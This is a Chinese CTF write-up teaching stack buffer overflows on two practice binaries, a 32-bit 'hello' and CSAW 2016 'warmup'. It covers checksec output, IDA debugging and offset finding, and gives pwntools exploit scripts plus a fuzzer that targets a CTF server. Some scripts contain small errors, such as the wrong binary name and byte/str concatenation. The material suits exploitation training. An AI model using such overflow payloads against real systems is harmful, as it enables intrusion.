前言
缓冲区溢出是比较基础的漏洞,这里使用两个实例来帮助理解缓冲区溢出。分别是32位和64位的程序。
题目:hello X86
尝试运行程序,输入hello,返回如下。linux上调试常使用GDB配合常用插件,关于环境的搭建可以自行搜索PWN环境搭建
,本次使用IDA远程调试linux程序。
首先使用file
命令和checksec
检查程序
┌──(kali㉿kali)-[~/桌面]
└─$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=547379e1b7bd695a7546d2a3321e199c0474dfa9, not stripped
02.png
各种保护机制都没有开启。
-
RELRO
分为Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
-
Stack
如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。
-
NX
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。
-
PIE
PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址。
-
FORTIFY
FORTIFY_SOURCE机制对格式化字符串有两个限制,一是包含%n的格式化字符串不能位于程序内存中的可写地址;二是当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6
使用IDA打开hello
文件
双击进入hello
函数,F5
查看反汇编伪代码。
int hello()
{
int buf[2]; // [esp+6h] [ebp-12h] BYREF
__int16 v2; // [esp+Eh] [ebp-Ah]
buf[0] = 0;
buf[1] = 0;
v2 = 0;
read(0, buf, 0x64u);
return printf("Hello, %s\n", (const char *)buf);
}
很明显的缓冲区溢出漏洞,继续查看Exports(导出表)
04.png导出表有getshell()
函数,利用思路很明确了:利用read()
函数缓冲区溢出,覆盖hello
的返回地址为getshell()
的地址即可。地址为0x0804846b
开始使用IDA远程调试
复制IDA -> dbgsrv -> linux_server
文件到kali中,和需要调试的文件放在同一目录下。./linux_server
运行server端。
在IDA上设置Debugger,选择remote Linux debugger
06.pngF9
开始debug,会跳出让你设置远程主机,只需要设置linux_server
所在的路径和文件的绝对路径即可开始远程调试,默认的端口是23946
Hostname填写kali的IP即可。
在hello()
和_read()
处打上断点
F9
开始调试,F7
单步步入
F9
运行到_read()
kali
中输入AAAA
,IDA中F8
,观察栈
可以看到如果输入22个A,继续输入就会覆盖返回地址,我们开始验证,输入22个A加4个B,那么返回地址应该被42覆盖。重复上面步骤。
12.pngF9
继续运行,发现运行失败,因为这个地址不是合法的地址。
基本流程清楚以后使用pwntools
写WP python3 wp.py
即可获取交互式shell。
from pwn import *
context.update(arch="i386", os="linux", timeout=1)
io = process("./hello")
addr = 0x0804846b
payload = b"A"*22 + p32(addr)
io.send(payload)
io.interactive()
题目:csaw ctf 2016 quals-warmup X64
解法一
file
查看
┌──(root💀kali)-[/home/kali/pwn/warmup]
└─# file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
checksec
无保护
┌──(root💀kali)-[/home/kali/pwn/warmup]
└─# checksec warmup
[*] '/home/kali/pwn/warmup/warmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
IDA中查看
15.png跟进函数sub_40060D
利用原理明确,gets()
函数缓冲区溢出,覆盖返回地址为0x40060d
,覆盖长度为64(v5[rbp-40h]换算十进制为64)+8(64位ebp)
编写wp如下,运行wp即可得到flag。
from pwn import *
context.update(arch="amd64", os="linux", timeout=1)
io = process("./hello")
addr = 0x40060d
payload = b"A"*72 + p64(addr)
io.send(payload)
io.interactive()
解法二
XCTF也收录了这个题目,没有提供附件,介绍一下FUZZ(模糊测试)做法
17.pngfrom pwn import *
addr = 0x40060d
def send_fuzz(p, num, type):
payload = b'A'*num
if type == 1:
payload += p32(addr)
if type == 2:
payload += p64(addr)
p.sendlineafter('>', payload)
def main():
for i in range(100):
for j in range(1, 3):
p = remote('111.200.241.244', 63229)
try:
send_fuzz(p, i+1, j)
r = p.recv()
print('recv::length='+ str(len(r)) +',content=\''+r+'\'\n')
p.interactive()
except:
p.close()
main()
两份文件上传至Github,可以下载进行实验。
网友评论